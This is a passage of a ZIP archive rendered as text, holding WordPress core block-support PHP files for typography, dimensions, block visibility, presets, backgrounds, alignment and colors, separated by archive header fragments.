	 * Gets the style value from the string and return CSS style.
	 */
	$index_to_splice = strrpos( $style_value, '|' ) + 1;
	$slug            = _wp_to_kebab_case( substr( $style_value, $index_to_splice ) );

	// Return the actual CSS inline style value,
	// e.g. `var(--wp--preset--text-decoration--underline);`.
	return sprintf( 'var(--wp--preset--%s--%s);', $css_property, $slug );
}

/**
 * Renders typography styles/content to the block wrapper.
 *
 * @since 6.1.0
 *
 * @param string $block_content Rendered block content.
 * @param array  $block         Block object.
 * @return string Filtered block content.
 */
function wp_render_typography_support( $block_content, $block ) {
	if ( ! empty( $block['attrs']['fitText'] ) && $block['attrs']['fitText'] && ! is_admin() ) {
		wp_enqueue_script_module( '@wordpress/block-editor/utils/fit-text-frontend' );

		// Add Interactivity API directives for fit text to work with client-side navigation.
		if ( ! empty( $block_content ) ) {
			$processor = new WP_HTML_Tag_Processor( $block_content );
			if ( $processor->next_tag() ) {
				if ( ! $processor->get_attribute( 'data-wp-interactive' ) ) {
					$processor->set_attribute( 'data-wp-interactive', true );
				}
				$processor->set_attribute( 'data-wp-context---core-fit-text', 'core/fit-text::{"fontSize":""}' );
				$processor->set_attribute( 'data-wp-init---core-fit-text', 'core/fit-text::callbacks.init' );
				$processor->set_attribute( 'data-wp-style--font-size', 'core/fit-text::context.fontSize' );
				$block_content = $processor->get_updated_html();
			}
		}
		// fitText supersedes any other typography features
		return $block_content;
	}
	if ( ! isset( $block['attrs']['style']['typography']['fontSize'] ) ) {
		return $block_content;
	}

	$custom_font_size = $block['attrs']['style']['typography']['fontSize'];
	$fluid_font_size  = wp_get_typography_font_size_value( array( 'size' => $custom_font_size ) );

	/*
	 * Checks that $fluid_font_size does not match $custom_font_size,
	 * which means it's been mutated by the fluid font size functions.
	 */
	if ( ! empty( $fluid_font_size ) && $fluid_font_size !== $custom_font_size ) {
		// Replaces the first instance of `font-size:$custom_font_size` with `font-size:$fluid_font_size`.
		return preg_replace( '/font-size\s*:\s*' . preg_quote( $custom_font_size, '/' ) . '\s*;?/', 'font-size:' . esc_attr( $fluid_font_size ) . ';', $block_content, 1 );
	}

	return $block_content;
}

/**
 * Checks a string for a unit and value and returns an array
 * consisting of `'value'` and `'unit'`, e.g. array( '42', 'rem' ).
 *
 * @since 6.1.0
 *
 * @param string|int|float $raw_value Raw size value from theme.json.
 * @param array            $options   {
 *     Optional. An associative array of options. Default is empty array.
 *
 *     @type string   $coerce_to        Coerce the value to rem or px. Default `'rem'`.
 *     @type int      $root_size_value  Value of root font size for rem|em <-> px conversion. Default `16`.
 *     @type string[] $acceptable_units An array of font size units. Default `array( 'rem', 'px', 'em' )`;
 * }
 * @return array|null An array consisting of `'value'` and `'unit'` properties on success.
 *                    `null` on failure.
 */
function wp_get_typography_value_and_unit( $raw_value, $options = array() ) {
	if ( ! is_string( $raw_value ) && ! is_int( $raw_value ) && ! is_float( $raw_value ) ) {
		_doing_it_wrong(
			__FUNCTION__,
			__( 'Raw size value must be a string, integer, or float.' ),
			'6.1.0'
		);
		return null;
	}

	if ( empty( $raw_value ) ) {
		return null;
	}

	// Converts numbers to pixel values by default.
	if ( is_numeric( $raw_value ) ) {
		$raw_value = $raw_value . 'px';
	}

	$defaults = array(
		'coerce_to'        => '',
		'root_size_value'  => 16,
		'acceptable_units' => array( 'rem', 'px', 'em' ),
	);

	$options = wp_parse_args( $options, $defaults );

	$acceptable_units_group = implode( '|', $options['acceptable_units'] );
	$pattern                = '/^(\d*\.?\d+)(' . $acceptable_units_group . '){1,1}$/';

	preg_match( $pattern, $raw_value, $matches );

	// Bails out if not a number value and a px or rem unit.
	if ( ! isset( $matches[1] ) || ! isset( $matches[2] ) ) {
		return null;
	}

	$value = $matches[1];
	$unit  = $matches[2];

	/*
	 * Default browser font size. Later, possibly could inject some JS to
	 * compute this `getComputedStyle( document.querySelector( "html" ) ).fontSize`.
	 */
	if ( 'px' === $options['coerce_to'] && ( 'em' === $unit || 'rem' === $unit ) ) {
		$value = $value * $options['root_size_value'];
		$unit  = $options['coerce_to'];
	}

	if ( 'px' === $unit && ( 'em' === $options['coerce_to'] || 'rem' === $options['coerce_to'] ) ) {
		$value = $value / $options['root_size_value'];
		$unit  = $options['coerce_to'];
	}

	/*
	 * No calculation is required if swapping between em and rem yet,
	 * since we assume a root size value. Later we might like to differentiate between
	 * :root font size (rem) and parent element font size (em) relativity.
	 */
	if ( ( 'em' === $options['coerce_to'] || 'rem' === $options['coerce_to'] ) && ( 'em' === $unit || 'rem' === $unit ) ) {
		$unit = $options['coerce_to'];
	}

	return array(
		'value' => round( $value, 3 ),
		'unit'  => $unit,
	);
}

/**
 * Internal implementation of CSS clamp() based on available min/max viewport
 * width and min/max font sizes.
 *
 * @since 6.1.0
 * @since 6.3.0 Checks for unsupported min/max viewport values that cause invalid clamp values.
 * @since 6.5.0 Returns early when min and max viewport subtraction is zero to avoid division by zero.
 * @access private
 *
 * @param array $args {
 *     Optional. An associative array of values to calculate a fluid formula
 *     for font size. Default is empty array.
 *
 *     @type string $maximum_viewport_width Maximum size up to which type will have fluidity.
 *     @type string $minimum_viewport_width Minimum viewport size from which type will have fluidity.
 *     @type string $maximum_font_size      Maximum font size for any clamp() calculation.
 *     @type string $minimum_font_size      Minimum font size for any clamp() calculation.
 *     @type int    $scale_factor           A scale factor to determine how fast a font scales within boundaries.
 * }
 * @return string|null A font-size value using clamp() on success, otherwise null.
 */
function wp_get_computed_fluid_typography_value( $args = array() ) {
	$maximum_viewport_width_raw = isset( $args['maximum_viewport_width'] ) ? $args['maximum_viewport_width'] : null;
	$minimum_viewport_width_raw = isset( $args['minimum_viewport_width'] ) ? $args['minimum_viewport_width'] : null;
	$maximum_font_size_raw      = isset( $args['maximum_font_size'] ) ? $args['maximum_font_size'] : null;
	$minimum_font_size_raw      = isset( $args['minimum_font_size'] ) ? $args['minimum_font_size'] : null;
	$scale_factor               = isset( $args['scale_factor'] ) ? $args['scale_factor'] : null;

	// Normalizes the minimum font size in order to use the value for calculations.
	$minimum_font_size = wp_get_typography_value_and_unit( $minimum_font_size_raw );

	/*
	 * We get a 'preferred' unit to keep units consistent when calculating,
	 * otherwise the result will not be accurate.
	 */
	$font_size_unit = isset( $minimum_font_size['unit'] ) ? $minimum_font_size['unit'] : 'rem';

	// Normalizes the maximum font size in order to use the value for calculations.
	$maximum_font_size = wp_get_typography_value_and_unit(
		$maximum_font_size_raw,
		array(
			'coerce_to' => $font_size_unit,
		)
	);

	// Checks for mandatory min and max sizes, and protects against unsupported units.
	if ( ! $maximum_font_size || ! $minimum_font_size ) {
		return null;
	}

	// Uses rem for accessible fluid target font scaling.
	$minimum_font_size_rem = wp_get_typography_value_and_unit(
		$minimum_font_size_raw,
		array(
			'coerce_to' => 'rem',
		)
	);

	// Viewport widths defined for fluid typography. Normalize units.
	$maximum_viewport_width = wp_get_typography_value_and_unit(
		$maximum_viewport_width_raw,
		array(
			'coerce_to' => $font_size_unit,
		)
	);
	$minimum_viewport_width = wp_get_typography_value_and_unit(
		$minimum_viewport_width_raw,
		array(
			'coerce_to' => $font_size_unit,
		)
	);

	// Protects against unsupported units in min and max viewport widths.
	if ( ! $minimum_viewport_width || ! $maximum_viewport_width ) {
		return null;
	}

	// Calculates the linear factor denominator. If it's 0, we cannot calculate a fluid value.
	$linear_factor_denominator = $maximum_viewport_width['value'] - $minimum_viewport_width['value'];
	if ( empty( $linear_factor_denominator ) ) {
		return null;
	}

	/*
	 * Build CSS rule.
	 * Borrowed from https://websemantics.uk/tools/responsive-font-calculator/.
	 */
	$view_port_width_offset = round( $minimum_viewport_width['value'] / 100, 3 ) . $font_size_unit;
	$linear_factor          = 100 * ( ( $maximum_font_size['value'] - $minimum_font_size['value'] ) / ( $linear_factor_denominator ) );
	$linear_factor_scaled   = round( $linear_factor * $scale_factor, 3 );
	$linear_factor_scaled   = empty( $linear_factor_scaled ) ? 1 : $linear_factor_scaled;
	$fluid_target_font_size = implode( '', $minimum_font_size_rem ) . " + ((1vw - $view_port_width_offset) * $linear_factor_scaled)";

	return "clamp($minimum_font_size_raw, $fluid_target_font_size, $maximum_font_size_raw)";
}

/**
 * Returns a font-size value based on a given font-size preset.
 * Takes into account fluid typography parameters and attempts to return a CSS
 * formula depending on available, valid values.
 *
 * @since 6.1.0
 * @since 6.1.1 Adjusted rules for min and max font sizes.
 * @since 6.2.0 Added 'settings.typography.fluid.minFontSize' support.
 * @since 6.3.0 Using layout.wideSize as max viewport width, and logarithmic scale factor to calculate minimum font scale.
 * @since 6.4.0 Added configurable min and max viewport width values to the typography.fluid theme.json schema.
 * @since 6.6.0 Deprecated bool argument $should_use_fluid_typography.
 * @since 6.7.0 Font size presets can enable fluid typography individually, even if it’s disabled globally.
 *
 * @param array      $preset   {
 *     Required. fontSizes preset value as seen in theme.json.
 *
 *     @type string           $name Name of the font size preset.
 *     @type string           $slug Kebab-case, unique identifier for the font size preset.
 *     @type string|int|float $size CSS font-size value, including units if applicable.
 * }
 * @param bool|array $settings Optional Theme JSON settings array that overrides any global theme settings.
 *                             Default is false.
 * @return string|null Font-size value or null if a size is not passed in $preset.
 */


function wp_get_typography_font_size_value( $preset, $settings = array() ) {
	if ( ! isset( $preset['size'] ) ) {
		return null;
	}

	/*
	 * Catches falsy values and 0/'0'. Fluid calculations cannot be performed on `0`.
	 * Also returns early when a preset font size explicitly disables fluid typography with `false`.
	 */
	$fluid_font_size_settings = $preset['fluid'] ?? null;
	if ( false === $fluid_font_size_settings || empty( $preset['size'] ) ) {
		return $preset['size'];
	}

	/*
	 * As a boolean (deprecated since 6.6), $settings acts as an override to switch fluid typography "on" (`true`) or "off" (`false`).
	 */
	if ( is_bool( $settings ) ) {
		_deprecated_argument( __FUNCTION__, '6.6.0', __( '`boolean` type for second argument `$settings` is deprecated. Use `array()` instead.' ) );
		$settings = array(
			'typography' => array(
				'fluid' => $settings,
			),
		);
	}

	// Fallback to global settings as default.
	$global_settings = wp_get_global_settings();
	$settings        = wp_parse_args(
		$settings,
		$global_settings
	);

	$typography_settings = $settings['typography'] ?? array();

	/*
	 * Return early when fluid typography is disabled in the settings, and there
	 * are no local settings to enable it for the individual preset.
	 *
	 * If this condition isn't met, either the settings or individual preset settings
	 * have enabled fluid typography.
	 */
	if ( empty( $typography_settings['fluid'] ) && empty( $fluid_font_size_settings ) ) {
		return $preset['size'];
	}

	$fluid_settings  = isset( $typography_settings['fluid'] ) ? $typography_settings['fluid'] : array();
	$layout_settings = isset( $settings['layout'] ) ? $settings['layout'] : array();

	// Defaults.
	$default_maximum_viewport_width       = '1600px';
	$default_minimum_viewport_width       = '320px';
	$default_minimum_font_size_factor_max = 0.75;
	$default_minimum_font_size_factor_min = 0.25;
	$default_scale_factor                 = 1;
	$default_minimum_font_size_limit      = '14px';

	// Defaults overrides.
	$minimum_viewport_width = isset( $fluid_settings['minViewportWidth'] ) ? $fluid_settings['minViewportWidth'] : $default_minimum_viewport_width;
	$maximum_viewport_width = isset( $layout_settings['wideSize'] ) && ! empty( wp_get_typography_value_and_unit( $layout_settings['wideSize'] ) ) ? $layout_settings['wideSize'] : $default_maximum_viewport_width;
	if ( isset( $fluid_settings['maxViewportWidth'] ) ) {
		$maximum_viewport_width = $fluid_settings['maxViewportWidth'];
	}
	$has_min_font_size       = isset( $fluid_settings['minFontSize'] ) && ! empty( wp_get_typography_value_and_unit( $fluid_settings['minFontSize'] ) );
	$minimum_font_size_limit = $has_min_font_size ? $fluid_settings['minFontSize'] : $default_minimum_font_size_limit;

	// Try to grab explicit min and max fluid font sizes.
	$minimum_font_size_raw = isset( $fluid_font_size_settings['min'] ) ? $fluid_font_size_settings['min'] : null;
	$maximum_font_size_raw = isset( $fluid_font_size_settings['max'] ) ? $fluid_font_size_settings['max'] : null;

	// Font sizes.
	$preferred_size = wp_get_typography_value_and_unit( $preset['size'] );

	// Protects against unsupported units.
	if ( empty( $preferred_size['unit'] ) ) {
		return $preset['size'];
	}

	/*
	 * Normalizes the minimum font size limit according to the incoming unit,
	 * in order to perform comparative checks.
	 */
	$minimum_font_size_limit = wp_get_typography_value_and_unit(
		$minimum_font_size_limit,
		array(
			'coerce_to' => $preferred_size['unit'],
		)
	);

	// Don't enforce minimum font size if a font size has explicitly set a min and max value.
	if ( ! empty( $minimum_font_size_limit ) && ( ! $minimum_font_size_raw && ! $maximum_font_size_raw ) ) {
		/*
		 * If a minimum size was not passed to this function
		 * and the user-defined font size is lower than $minimum_font_size_limit,
		 * do not calculate a fluid value.
		 */
		if ( $preferred_size['value'] <= $minimum_font_size_limit['value'] ) {
			return $preset['size'];
		}
	}

	// If no fluid max font size is available use the incoming value.
	if ( ! $maximum_font_size_raw ) {
		$maximum_font_size_raw = $preferred_size['value'] . $preferred_size['unit'];
	}

	/*
	 * If no minimumFontSize is provided, create one using
	 * the given font size multiplied by the min font size scale factor.
	 */
	if ( ! $minimum_font_size_raw ) {
		$preferred_font_size_in_px = 'px' === $preferred_size['unit'] ? $preferred_size['value'] : $preferred_size['value'] * 16;

		/*
		 * The scale factor is a multiplier that affects how quickly the curve will move towards the minimum,
		 * that is, how quickly the size factor reaches 0 given increasing font size values.
		 * For a - b * log2(), lower values of b will make the curve move towards the minimum faster.
		 * The scale factor is constrained between min and max values.
		 */
		$minimum_font_size_factor     = min( max( 1 - 0.075 * log( $preferred_font_size_in_px, 2 ), $default_minimum_font_size_factor_min ), $default_minimum_font_size_factor_max );
		$calculated_minimum_font_size = round( $preferred_size['value'] * $minimum_font_size_factor, 3 );

		// Only use calculated min font size if it's > $minimum_font_size_limit value.
		if ( ! empty( $minimum_font_size_limit ) && $calculated_minimum_font_size <= $minimum_font_size_limit['value'] ) {
			$minimum_font_size_raw = $minimum_font_size_limit['value'] . $minimum_font_size_limit['unit'];
		} else {
			$minimum_font_size_raw = $calculated_minimum_font_size . $preferred_size['unit'];
		}
	}

	$fluid_font_size_value = wp_get_computed_fluid_typography_value(
		array(
			'minimum_viewport_width' => $minimum_viewport_width,
			'maximum_viewport_width' => $maximum_viewport_width,
			'minimum_font_size'      => $minimum_font_size_raw,
			'maximum_font_size'      => $maximum_font_size_raw,
			'scale_factor'           => $default_scale_factor,
		)
	);

	if ( ! empty( $fluid_font_size_value ) ) {
		return $fluid_font_size_value;
	}

	return $preset['size'];
}

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'typography',
	array(
		'register_attribute' => 'wp_register_typography_support',
		'apply'              => 'wp_apply_typography_support',
	)
);
PK       ! M      dimensions.phpnu [        <?php
/**
 * Dimensions block support flag.
 *
 * This does not include the `spacing` block support even though that visually
 * appears under the "Dimensions" panel in the editor. It remains in its
 * original `spacing.php` file for compatibility with core.
 *
 * @package WordPress
 * @since 5.9.0
 */

/**
 * Registers the style block attribute for block types that support it.
 *
 * @since 5.9.0
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 */
function wp_register_dimensions_support( $block_type ) {
	// Setup attributes and styles within that if needed.
	if ( ! $block_type->attributes ) {
		$block_type->attributes = array();
	}

	// Check for existing style attribute definition e.g. from block.json.
	if ( array_key_exists( 'style', $block_type->attributes ) ) {
		return;
	}

	$has_dimensions_support = block_has_support( $block_type, 'dimensions', false );

	if ( $has_dimensions_support ) {
		$block_type->attributes['style'] = array(
			'type' => 'object',
		);
	}
}

/**
 * Adds CSS classes for block dimensions to the incoming attributes array.
 * This will be applied to the block markup in the front-end.
 *
 * @since 5.9.0
 * @since 6.2.0 Added `minHeight` support.
 * @access private
 *
 * @param WP_Block_Type $block_type       Block Type.
 * @param array         $block_attributes Block attributes.
 * @return array Block dimensions CSS classes and inline styles.
 */
function wp_apply_dimensions_support( $block_type, $block_attributes ) {
	if ( wp_should_skip_block_supports_serialization( $block_type, 'dimensions' ) ) {
		return array();
	}

	$attributes = array();

	// Width support to be added in near future.

	$has_min_height_support = block_has_support( $block_type, array( 'dimensions', 'minHeight' ), false );
	$block_styles           = isset( $block_attributes['style'] ) ? $block_attributes['style'] : null;

	if ( ! $block_styles ) {
		return $attributes;
	}

	$skip_min_height                      = wp_should_skip_block_supports_serialization( $block_type, 'dimensions', 'minHeight' );
	$dimensions_block_styles              = array();
	$dimensions_block_styles['minHeight'] = null;
	if ( $has_min_height_support && ! $skip_min_height ) {
		$dimensions_block_styles['minHeight'] = isset( $block_styles['dimensions']['minHeight'] )
			? $block_styles['dimensions']['minHeight']
			: null;
	}
	$styles = wp_style_engine_get_styles( array( 'dimensions' => $dimensions_block_styles ) );

	if ( ! empty( $styles['css'] ) ) {
		$attributes['style'] = $styles['css'];
	}

	return $attributes;
}

/**
 * Renders server-side dimensions styles to the block wrapper.
 * This block support uses the `render_block` hook to ensure that
 * it is also applied to non-server-rendered blocks.
 *
 * @since 6.5.0
 * @access private
 *
 * @param  string $block_content Rendered block content.
 * @param  array  $block         Block object.
 * @return string                Filtered block content.
 */
function wp_render_dimensions_support( $block_content, $block ) {
	$block_type               = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] );
	$block_attributes         = ( isset( $block['attrs'] ) && is_array( $block['attrs'] ) ) ? $block['attrs'] : array();
	$has_aspect_ratio_support = block_has_support( $block_type, array( 'dimensions', 'aspectRatio' ), false );

	if (
		! $has_aspect_ratio_support ||
		wp_should_skip_block_supports_serialization( $block_type, 'dimensions', 'aspectRatio' )
	) {
		return $block_content;
	}

	$dimensions_block_styles                = array();
	$dimensions_block_styles['aspectRatio'] = $block_attributes['style']['dimensions']['aspectRatio'] ?? null;

	// To ensure the aspect ratio does not get overridden by `minHeight` unset any existing rule.
	if (
		isset( $dimensions_block_styles['aspectRatio'] )
	) {
		$dimensions_block_styles['minHeight'] = 'unset';
	} elseif (
		isset( $block_attributes['style']['dimensions']['minHeight'] ) ||
		isset( $block_attributes['minHeight'] )
	) {
		$dimensions_block_styles['aspectRatio'] = 'unset';
	}

	$styles = wp_style_engine_get_styles( array( 'dimensions' => $dimensions_block_styles ) );

	if ( ! empty( $styles['css'] ) ) {
		// Inject dimensions styles to the first element, presuming it's the wrapper, if it exists.
		$tags = new WP_HTML_Tag_Processor( $block_content );

		if ( $tags->next_tag() ) {
			$existing_style = $tags->get_attribute( 'style' );
			$updated_style  = '';

			if ( ! empty( $existing_style ) ) {
				$updated_style = $existing_style;
				if ( ! str_ends_with( $existing_style, ';' ) ) {
					$updated_style .= ';';
				}
			}

			$updated_style .= $styles['css'];
			$tags->set_attribute( 'style', $updated_style );

			if ( ! empty( $styles['classnames'] ) ) {
				foreach ( explode( ' ', $styles['classnames'] ) as $class_name ) {
					if (
						str_contains( $class_name, 'aspect-ratio' ) &&
						! isset( $block_attributes['style']['dimensions']['aspectRatio'] )
					) {
						continue;
					}
					$tags->add_class( $class_name );
				}
			}
		}

		return $tags->get_updated_html();
	}

	return $block_content;
}

add_filter( 'render_block', 'wp_render_dimensions_support', 10, 2 );

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'dimensions',
	array(
		'register_attribute' => 'wp_register_dimensions_support',
		'apply'              => 'wp_apply_dimensions_support',
	)
);
PK       ! V  V    block-visibility.phpnu [        <?php
/**
 * Block visibility block support flag.
 *
 * @package WordPress
 * @since 6.9.0
 */

/**
 * Render nothing if the block is hidden.
 *
 * @since 6.9.0
 * @access private
 *
 * @param string $block_content Rendered block content.
 * @param array  $block         Block object.
 * @return string Filtered block content.
 */
function wp_render_block_visibility_support( $block_content, $block ) {
	$block_type = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] );

	if ( ! $block_type || ! block_has_support( $block_type, 'visibility', true ) ) {
		return $block_content;
	}

	if ( isset( $block['attrs']['metadata']['blockVisibility'] ) && false === $block['attrs']['metadata']['blockVisibility'] ) {
		return '';
	}

	return $block_content;
}

add_filter( 'render_block', 'wp_render_block_visibility_support', 10, 2 );
PK       !       settings.phpnu [        <?php
/**
 * Block level presets support.
 *
 * @package WordPress
 * @since 6.2.0
 */

/**
 * Get the class name used on block level presets.
 *
 * @internal
 *
 * @since 6.2.0
 * @access private
 *
 * @param array $block Block object.
 * @return string      The unique class name.
 */
function _wp_get_presets_class_name( $block ) {
	return 'wp-settings-' . md5( serialize( $block ) );
}

/**
 * Update the block content with block level presets class name.
 *
 * @internal
 *
 * @since 6.2.0
 * @access private
 *
 * @param  string $block_content Rendered block content.
 * @param  array  $block         Block object.
 * @return string                Filtered block content.
 */
function _wp_add_block_level_presets_class( $block_content, $block ) {
	if ( ! $block_content ) {
		return $block_content;
	}

	// return early if the block doesn't have support for settings.
	$block_type = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] );
	if ( ! block_has_support( $block_type, '__experimentalSettings', false ) ) {
		return $block_content;
	}

	// return early if no settings are found on the block attributes.
	$block_settings = isset( $block['attrs']['settings'] ) ? $block['attrs']['settings'] : null;
	if ( empty( $block_settings ) ) {
		return $block_content;
	}

	// Like the layout hook this assumes the hook only applies to blocks with a single wrapper.
	// Add the class name to the first element, presuming it's the wrapper, if it exists.
	$tags = new WP_HTML_Tag_Processor( $block_content );
	if ( $tags->next_tag() ) {
		$tags->add_class( _wp_get_presets_class_name( $block ) );
	}

	return $tags->get_updated_html();
}

/**
 * Render the block level presets stylesheet.
 *
 * @internal
 *
 * @since 6.2.0
 * @since 6.3.0 Updated preset styles to use Selectors API.
 * @access private
 *
 * @param string|null $pre_render   The pre-rendered content. Default null.
 * @param array       $block The block being rendered.
 *
 * @return null
 */
function _wp_add_block_level_preset_styles( $pre_render, $block ) {
	// Return early if the block has not support for descendent block styles.
	$block_type = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] );
	if ( ! block_has_support( $block_type, '__experimentalSettings', false ) ) {
		return null;
	}

	// return early if no settings are found on the block attributes.
	$block_settings = isset( $block['attrs']['settings'] ) ? $block['attrs']['settings'] : null;
	if ( empty( $block_settings ) ) {
		return null;
	}

	$class_name = '.' . _wp_get_presets_class_name( $block );

	// the root selector for preset variables needs to target every possible block selector
	// in order for the general setting to override any bock specific setting of a parent block or
	// the site root.
	$variables_root_selector = '*,[class*="wp-block"]';
	$registry                = WP_Block_Type_Registry::get_instance();
	$blocks                  = $registry->get_all_registered();
	foreach ( $blocks as $block_type ) {
		/*
		 * We only want to append selectors for blocks using custom selectors
		 * i.e. not `wp-block-<name>`.
		 */
		$has_custom_selector =
			( isset( $block_type->supports['__experimentalSelector'] ) && is_string( $block_type->supports['__experimentalSelector'] ) ) ||
			( isset( $block_type->selectors['root'] ) && is_string( $block_type->selectors['root'] ) );

		if ( $has_custom_selector ) {
			$variables_root_selector .= ',' . wp_get_block_css_selector( $block_type );
		}
	}
	$variables_root_selector = WP_Theme_JSON::scope_selector( $class_name, $variables_root_selector );

	// Remove any potentially unsafe styles.
	$theme_json_shape  = WP_Theme_JSON::remove_insecure_properties(
		array(
			'version'  => WP_Theme_JSON::LATEST_SCHEMA,
			'settings' => $block_settings,
		)
	);
	$theme_json_object = new WP_Theme_JSON( $theme_json_shape );

	$styles = '';

	// include preset css variables declaration on the stylesheet.
	$styles .= $theme_json_object->get_stylesheet(
		array( 'variables' ),
		null,
		array(
			'root_selector' => $variables_root_selector,
			'scope'         => $class_name,
		)
	);

	// include preset css classes on the the stylesheet.
	$styles .= $theme_json_object->get_stylesheet(
		array( 'presets' ),
		null,
		array(
			'root_selector' => $class_name . ',' . $class_name . ' *',
			'scope'         => $class_name,
		)
	);

	if ( ! empty( $styles ) ) {
		wp_enqueue_block_support_styles( $styles );
	}

	return null;
}

add_filter( 'render_block', '_wp_add_block_level_presets_class', 10, 2 );
add_filter( 'pre_render_block', '_wp_add_block_level_preset_styles', 10, 2 );
PK       ! <1  1    background.phpnu [        <?php
/**
 * Background block support flag.
 *
 * @package WordPress
 * @since 6.4.0
 */

/**
 * Registers the style block attribute for block types that support it.
 *
 * @since 6.4.0
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 */
function wp_register_background_support( $block_type ) {
	// Setup attributes and styles within that if needed.
	if ( ! $block_type->attributes ) {
		$block_type->attributes = array();
	}

	// Check for existing style attribute definition e.g. from block.json.
	if ( array_key_exists( 'style', $block_type->attributes ) ) {
		return;
	}

	$has_background_support = block_has_support( $block_type, array( 'background' ), false );

	if ( $has_background_support ) {
		$block_type->attributes['style'] = array(
			'type' => 'object',
		);
	}
}

/**
 * Renders the background styles to the block wrapper.
 * This block support uses the `render_block` hook to ensure that
 * it is also applied to non-server-rendered blocks.
 *
 * @since 6.4.0
 * @since 6.5.0 Added support for `backgroundPosition` and `backgroundRepeat` output.
 * @since 6.6.0 Removed requirement for `backgroundImage.source`. A file/url is the default.
 * @since 6.7.0 Added support for `backgroundAttachment` output.
 *
 * @access private
 *
 * @param  string $block_content Rendered block content.
 * @param  array  $block         Block object.
 * @return string Filtered block content.
 */
function wp_render_background_support( $block_content, $block ) {
	$block_type                   = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] );
	$block_attributes             = ( isset( $block['attrs'] ) && is_array( $block['attrs'] ) ) ? $block['attrs'] : array();
	$has_background_image_support = block_has_support( $block_type, array( 'background', 'backgroundImage' ), false );

	if (
		! $has_background_image_support ||
		wp_should_skip_block_supports_serialization( $block_type, 'background', 'backgroundImage' ) ||
		! isset( $block_attributes['style']['background'] )
	) {
		return $block_content;
	}

	$background_styles                         = array();
	$background_styles['backgroundImage']      = $block_attributes['style']['background']['backgroundImage'] ?? null;
	$background_styles['backgroundSize']       = $block_attributes['style']['background']['backgroundSize'] ?? null;
	$background_styles['backgroundPosition']   = $block_attributes['style']['background']['backgroundPosition'] ?? null;
	$background_styles['backgroundRepeat']     = $block_attributes['style']['background']['backgroundRepeat'] ?? null;
	$background_styles['backgroundAttachment'] = $block_attributes['style']['background']['backgroundAttachment'] ?? null;

	if ( ! empty( $background_styles['backgroundImage'] ) ) {
		$background_styles['backgroundSize'] = $background_styles['backgroundSize'] ?? 'cover';

		// If the background size is set to `contain` and no position is set, set the position to `center`.
		if ( 'contain' === $background_styles['backgroundSize'] && ! $background_styles['backgroundPosition'] ) {
			$background_styles['backgroundPosition'] = '50% 50%';
		}
	}

	$styles = wp_style_engine_get_styles( array( 'background' => $background_styles ) );

	if ( ! empty( $styles['css'] ) ) {
		// Inject background styles to the first element, presuming it's the wrapper, if it exists.
		$tags = new WP_HTML_Tag_Processor( $block_content );

		if ( $tags->next_tag() ) {
			$existing_style = $tags->get_attribute( 'style' );
			if ( is_string( $existing_style ) && '' !== $existing_style ) {
				$separator     = str_ends_with( $existing_style, ';' ) ? '' : ';';
				$updated_style = "{$existing_style}{$separator}{$styles['css']}";
			} else {
				$updated_style = $styles['css'];
			}

			$tags->set_attribute( 'style', $updated_style );
			$tags->add_class( 'has-background' );
		}

		return $tags->get_updated_html();
	}

	return $block_content;
}

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'background',
	array(
		'register_attribute' => 'wp_register_background_support',
	)
);

add_filter( 'render_block', 'wp_render_background_support', 10, 2 );
PK       ! R    	  align.phpnu [        <?php
/**
 * Align block support flag.
 *
 * @package WordPress
 * @since 5.6.0
 */

/**
 * Registers the align block attribute for block types that support it.
 *
 * @since 5.6.0
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 */
function wp_register_alignment_support( $block_type ) {
	$has_align_support = block_has_support( $block_type, 'align', false );
	if ( $has_align_support ) {
		if ( ! $block_type->attributes ) {
			$block_type->attributes = array();
		}

		if ( ! array_key_exists( 'align', $block_type->attributes ) ) {
			$block_type->attributes['align'] = array(
				'type' => 'string',
				'enum' => array( 'left', 'center', 'right', 'wide', 'full', '' ),
			);
		}
	}
}

/**
 * Adds CSS classes for block alignment to the incoming attributes array.
 * This will be applied to the block markup in the front-end.
 *
 * @since 5.6.0
 * @access private
 *
 * @param WP_Block_Type $block_type       Block Type.
 * @param array         $block_attributes Block attributes.
 * @return array Block alignment CSS classes and inline styles.
 */
function wp_apply_alignment_support( $block_type, $block_attributes ) {
	$attributes        = array();
	$has_align_support = block_has_support( $block_type, 'align', false );
	if ( $has_align_support ) {
		$has_block_alignment = array_key_exists( 'align', $block_attributes );

		if ( $has_block_alignment ) {
			$attributes['class'] = sprintf( 'align%s', $block_attributes['align'] );
		}
	}

	return $attributes;
}

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'align',
	array(
		'register_attribute' => 'wp_register_alignment_support',
		'apply'              => 'wp_apply_alignment_support',
	)
);
PK       ! S$>  >  
  colors.phpnu [        <?php
/**
 * Colors block support flag.
 *
 * @package WordPress
 * @since 5.6.0
 */

/**
 * Registers the style and colors block attributes for block types that support it.
 *
 * @since 5.6.0
 * @since 6.1.0 Improved $color_support assignment optimization.
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 */
function wp_register_colors_support( $block_type ) {
	$color_support = false;
	if ( $block_type instanceof WP_Block_Type ) {
		$color_support = isset( $block_type->supports['color'] ) ? $block_type->supports['color'] : false;
	}
	$has_text_colors_support       = true === $color_support ||
		( isset( $color_support['text'] ) && $color_support['text'] ) ||
		( is_array( $color_support ) && ! isset( $color_support['text'] ) );
	$has_background_colors_support = true === $color_support ||
		( isset( $color_support['background'] ) && $color_support['background'] ) ||
		( is_array( $color_support ) && ! isset( $color_support['background'] ) );
	$has_gradients_support         = isset( $color_support['gradients'] ) ? $color_support['gradients'] : false;
	$has_link_colors_support       = isset( $color_support['link'] ) ? $color_support['link'] : false;
	$has_button_colors_support     = isset( $color_support['button'] ) ? $color_support['button'] : false;
	$has_heading_colors_support    = isset( $color_support['heading'] ) ? $color_support['heading'] : false;
	$has_color_support             = $has_text_colors_support ||
		$has_background_colors_support ||
		$has_gradients_support ||
		$has_link_colors_support ||
		$has_button_colors_support ||
		$has_heading_colors_support;

	if ( ! $block_type->attributes ) {
		$block_type->attributes = array();
	}

